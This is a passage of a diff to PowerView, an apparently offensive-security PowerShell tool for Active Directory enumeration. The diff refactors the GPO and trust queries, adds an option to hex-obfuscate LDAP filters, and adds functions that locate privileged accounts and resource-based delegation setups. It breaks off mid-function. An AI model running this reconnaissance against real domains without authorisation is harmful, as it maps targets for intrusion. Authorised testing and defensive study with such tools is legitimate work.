$Computer) { - Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" - } - $ObjectDN = $Computer.distinguishedname - $TargetComputerName = $Computer.dnshostname + if ($PSBoundParameters['ComputerIdentity']) { + $SearcherArguments['Identity'] = $ComputerIdentity + $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $Computer) { + Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" } - else { - $SearcherArguments['Identity'] = $UserIdentity - $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 - if(-not $User) { - Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" - } - $ObjectDN = $User.distinguishedname + $ObjectDN = $Computer.distinguishedname + $TargetComputerName = $Computer.dnshostname + } + else { + $SearcherArguments['Identity'] = $UserIdentity + $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $User) { + Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" } + $ObjectDN = $User.distinguishedname + } - # extract all OUs the target user/computer is a part of - $ObjectOUs = @() - $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { - if($_.startswith('OU=')) { - $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) - } + # extract all OUs the target user/computer is a part of + $ObjectOUs = @() + $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { + if($_.startswith('OU=')) { + $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) } - Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" + } + Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" - if ($ObjectOUs) { - # find all the GPOs linked to the user/computer's OUs - $SearcherArguments.Remove('Properties') - $InheritanceDisabled = $False - ForEach($ObjectOU in $ObjectOUs) { - $SearcherArguments['Identity'] = $ObjectOU - $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { - # extract any GPO links for this particular OU the computer is a part of - if ($_.gplink) { - $_.gplink.split('][') | ForEach-Object { - if ($_.startswith('LDAP')) { - $Parts = $_.split(';') - $GpoDN = $Parts[0] - $Enforced = $Parts[1] - - if ($InheritanceDisabled) { - # if inheritance has already been disabled and this GPO is set as "enforced" - # then add it, otherwise ignore it - if ($Enforced -eq 2) { - $GpoDN - } - } - else { - # inheritance not marked as disabled yet + if ($ObjectOUs) { + # find all the GPOs linked to the user/computer's OUs + $SearcherArguments.Remove('Properties') + $InheritanceDisabled = $False + ForEach($ObjectOU in $ObjectOUs) { + $SearcherArguments['Identity'] = $ObjectOU + $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { + # extract any GPO links for this particular OU the computer is a part of + if ($_.gplink) { + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $Parts = $_.split(';') + $GpoDN = $Parts[0] + $Enforced = $Parts[1] + if ($InheritanceDisabled) { + # if inheritance has already been disabled and this GPO is set as "enforced" + # then add it, otherwise ignore it + if ($Enforced -eq 2) { $GpoDN } } - } - } - - # if this OU has GPO inheritence disabled, break so additional OUs aren't processed - if ($_.gpoptions -eq 1) { - $InheritanceDisabled = $True - } - } - } - } - - if ($TargetComputerName) { - # find all the GPOs linked to the computer's site - $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName - if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { - $SearcherArguments['Identity'] = $ComputerSite - $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { - if($_.gplink) { - # extract any GPO links for this particular site the computer is a part of - $_.gplink.split('][') | ForEach-Object { - if ($_.startswith('LDAP')) { - $_.split(';')[0] + else { + # inheritance not marked as disabled yet + $GpoDN } } } } - } - } - # find any GPOs linked to the user/computer's domain - $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) - $SearcherArguments.Remove('Identity') - $SearcherArguments.Remove('Properties') - $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" - $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { - if($_.gplink) { - # extract any GPO links for this particular domain the computer is a part of - $_.gplink.split('][') | ForEach-Object { - if ($_.startswith('LDAP')) { - $_.split(';')[0] - } + # if this OU has GPO inheritence disabled, break so additional OUs aren't processed + if ($_.gpoptions -eq 1) { + $InheritanceDisabled = $True } } } - Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" - - # restore the old properites to return, if set - if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } - else { $SearcherArguments.Remove('Properties') } - $SearcherArguments.Remove('Identity') - - $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { - # use the gplink as an ADS path to enumerate all GPOs for the computer - $SearcherArguments['SearchBase'] = $_ - $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" - Get-DomainObject @SearcherArguments | ForEach-Object { - if ($PSBoundParameters['Raw']) { - $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') - } - else { - $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') - } - $_ - } - } } - else { - $IdentityFilter = '' - $Filter = '' - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match 'LDAP://|^CN=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - $GPOSearcher = Get-DomainSearcher @SearcherArguments - if (-not $GPOSearcher) { - Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" + + if ($TargetComputerName) { + # find all the GPOs linked to the computer's site + $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { + $SearcherArguments['Identity'] = $ComputerSite + $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular site the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } } } } - elseif ($IdentityInstance -match '{.*}') { - $IdentityFilter += "(name=$IdentityInstance)" + } + } + + # find any GPOs linked to the user/computer's domain + $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) + $SearcherArguments.Remove('Identity') + $SearcherArguments.Remove('Properties') + $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" + $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular domain the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" + + # restore the old properites to return, if set + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + else { $SearcherArguments.Remove('Properties') } + $SearcherArguments.Remove('Identity') + + $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + # use the gplink as an ADS path to enumerate all GPOs for the computer + $SearcherArguments['SearchBase'] = $_ + $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" + Get-DomainObject @SearcherArguments | ForEach-Object { + if ($PSBoundParameters['Raw']) { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $_ + } + } + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match 'LDAP://|^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GPOSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GPOSearcher) { + Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -match '{.*}') { + $IdentityFilter += "(name=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(displayname=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $Filter = "(&(objectCategory=groupPolicyContainer)$Filter)" + Write-Verbose "[Get-DomainGPO] filter string: $($Filter)" + + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter" + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $GPO = $_ + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } + } + else { + $Prop = $_.Properties + } + + if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { + $GPO = Convert-LDAPProperty -Properties $Prop try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" + $GPODN = $GPO.distinguishedname + $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" + $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath } catch { - $IdentityFilter += "(displayname=$IdentityInstance)" + Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" } } - } - if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" - } - - if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" - $Filter += "$LDAPFilter" - } - - $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" - Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" - - if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } - else { $Results = $GPOSearcher.FindAll() } - $Results | Where-Object {$_} | ForEach-Object { - if ($PSBoundParameters['Raw']) { - # return raw result objects - $GPO = $_ - $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') - } else { - if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { - $GPO = Convert-LDAPProperty -Properties $_.Properties - try { - $GPODN = $GPO.distinguishedname - $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" - $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath - } - catch { - Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" - } - } - else { - $GPO = Convert-LDAPProperty -Properties $_.Properties - } - $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + $GPO = Convert-LDAPProperty -Properties $Prop } - $GPO + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" - } + $GPO + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" } - $GPOSearcher.dispose() } } } @@ -14043,6 +14652,14 @@ Specifies the maximum amount of time the server spends searching. Default of 120 A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainPolicyData @@ -14104,7 +14721,13 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file. [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) BEGIN { @@ -14112,6 +14735,8 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file. if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $ConvertArguments = @{} if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } @@ -19510,6 +20135,14 @@ Only return one result object. A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainTrust @@ -19623,7 +20256,13 @@ Custom PSObject with translated domain API trust result fields. [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) BEGIN { @@ -19652,11 +20291,19 @@ Custom PSObject with translated domain API trust result fields. if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $LdapSearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$LdapSearcherArguments['Obfuscate'] = $Obfuscate } + + $NetSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SSL']) { $NetSearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$NetSearcherArguments['Obfuscate'] = $Obfuscate } + } PROCESS { if ($PsCmdlet.ParameterSetName -ne 'API') { - $NetSearcherArguments = @{} if ($Domain -and $Domain.Trim() -ne '') { $SourceDomain = $Domain } @@ -19680,73 +20327,84 @@ Custom PSObject with translated domain API trust result fields. if ($PsCmdlet.ParameterSetName -eq 'LDAP') { # if we're searching for domain trusts through LDAP/ADSI - $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments $SourceSID = Get-DomainSID @NetSearcherArguments - if ($TrustSearcher) { - $TrustSearcher.Filter = '(objectClass=trustedDomain)' - - if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } - else { $Results = $TrustSearcher.FindAll() } - $Results | Where-Object {$_} | ForEach-Object { + $Results = Invoke-LDAPQuery @LdapSearcherArguments -LDAPFilter "(objectClass=trustedDomain)" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Props = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'securityidentifier')) { + $Props[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Props[$a] = $Values + } + } + } + else { $Props = $_.Properties - $DomainTrust = New-Object PSObject - - $TrustAttrib = @() - $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } - - $Direction = Switch ($Props.trustdirection) { - 0 { 'Disabled' } - 1 { 'Inbound' } - 2 { 'Outbound' } - 3 { 'Bidirectional' } - } - - $TrustType = Switch ($Props.trusttype) { - 1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } - 2 { 'WINDOWS_ACTIVE_DIRECTORY' } - 3 { 'MIT' } - } - - $Distinguishedname = $Props.distinguishedname[0] - $SourceNameIndex = $Distinguishedname.IndexOf('DC=') - if ($SourceNameIndex) { - $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' - } - else { - $SourceDomain = "" - } - - $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') - if ($SourceNameIndex) { - $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) - } - else { - $TargetDomain = "" - } - - $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) - $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value - - $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain - $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] - # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}" - $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType - $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') - $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" - $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] - $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] - $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') - $DomainTrust } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" - } + + $DomainTrust = New-Object PSObject + + $TrustAttrib = @() + $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } + + $Direction = Switch ($Props.trustdirection) { + 0 { 'Disabled' } + 1 { 'Inbound' } + 2 { 'Outbound' } + 3 { 'Bidirectional' } + } + + $TrustType = Switch ($Props.trusttype) { + 1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } + 2 { 'WINDOWS_ACTIVE_DIRECTORY' } + 3 { 'MIT' } + } + + $Distinguishedname = $Props.distinguishedname[0] + $SourceNameIndex = $Distinguishedname.IndexOf('DC=') + if ($SourceNameIndex) { + $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' + } + else { + $SourceDomain = "" + } + + $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') + if ($SourceNameIndex) { + $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) + } + else { + $TargetDomain = "" + } + + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value + + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] + $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') + $DomainTrust + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" } - $TrustSearcher.dispose() } } elseif ($PsCmdlet.ParameterSetName -eq 'API') { @@ -20629,6 +21287,3243 @@ Returns all GPO delegations on a given GPO. } } +function Find-HighValueAccounts { +<# +.SYNOPSIS + +Finds users that are currently high value accounts as AdminCount doesn't necessarily mean the privileges are current. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER SPN + +Switch. Only return user objects with non-null service principal names. + +.PARAMETER Enabled + +Switch. Return accounts that are currently enabled. + +.PARAMETER Disabled + +Switch. Return accounts that are currently disabled. + +.PARAMETER AllowDelegation + +Switch. Return accounts that are not marked as 'sensitive and not allowed for delegation' + +.PARAMETER DisallowDelegation + +Switch. Return accounts that are marked as 'sensitive and not allowed for delegation' + +.PARAMETER PassNotExpire + +Switch. Return accounts whose passwords do not expire. + +.PARAMETER Users + +Switch. Return user accounts. + +.PARAMETER Computers + +Switch. Return computer accounts. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Find-HighValueAccounts -Enabled + +Returns all enabled high value accounts. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param ( + [Switch] + $SPN, + + [Switch] + $Enabled, + + [Switch] + $Disabled, + + [Parameter(ParameterSetName = 'AllowDelegation')] + [Switch] + $AllowDelegation, + + [Parameter(ParameterSetName = 'DisallowDelegation')] + [Switch] + $DisallowDelegation, + + [Switch] + $PassNotExpire, + + [Switch] + $Users, + + [Switch] + $Computers, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + + # array of high privileged groups from https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/ + $AdminGroups = @( + 'Account Operators', + 'Administrators', + 'Backup Operators', + 'Cert Publishers', + 'Domain Admins', + 'Enterprise Admins', + 'Enterprise Key Admins', + 'Key Admins', + 'Print Operators', + 'Replicator', + 'Schema Admins', + 'Server Operators' + ) + + # variables + $IdentityFilter = '' + $Check = @() + } + + PROCESS { + + foreach ($AdminGroup in $AdminGroups) { + Get-DomainGroupMember $AdminGroup -Recurse @SearcherArguments | ?{$_.MemberObjectClass -ne 'group'} | ForEach-Object { + if (((!($Users)) -And (!($Computers))) -Or ((($Users) -And ($_.MemberObjectClass -eq 'user')) -Or (($Computers) -And ($_.MemberObjectClass -eq 'computer')))) { + $MemberName = $_.MemberName + if (($MemberName) -and (($Check.Count -eq 0 ) -Or (!($Check.Contains($MemberName))))) { + $IdentityFilter += "(samaccountname=$MemberName)" + $Check += $MemberName + } + } + } + } + + $Filter = "(|$IdentityFilter)" + + # Additional filters + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Find-HighValueAccounts] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' + } + if ($PSBoundParameters['Enabled']) { + Write-Verbose '[Find-HighValueAccounts] Searching for users who are enabled' + # negation of "Accounts that are disabled" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' + } + if ($PSBoundParameters['Disabled']) { + Write-Verbose '[Find-HighValueAccounts] Searching for users who are disabled' + # inclusion of "Accounts that are disabled" + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)' + } + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Find-HighValueAccounts] Searching for users who can be delegated' + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))' + } + if ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Find-HighValueAccounts] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)' + } + if ($PSBoundParameters['PassNotExpire']) { + Write-Verbose '[Find-HighValueAccounts] Searching for users whose passwords never expire' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)' + } + + $ObjectSearcher.filter = "(&$Filter)" + Write-Verbose "[Find-HighValueAccounts] Find-HighValueAccounts filter string: $($ObjectSearcher.filter)" + $Results = $ObjectSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + $Object + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Find-HighValueAccounts] Error disposing of the Results object: $_" + } + } + $ObjectSearcher.dispose() + } +} + +function Get-DomainRBCD { +<# +.SYNOPSIS + +Finds accounts that are configured for resource-based constrained delegation and returns configuration. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainRBCD + +Returns the RBCD configuration for accounts in current domain. +#> + [OutputType([PSObject])] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + 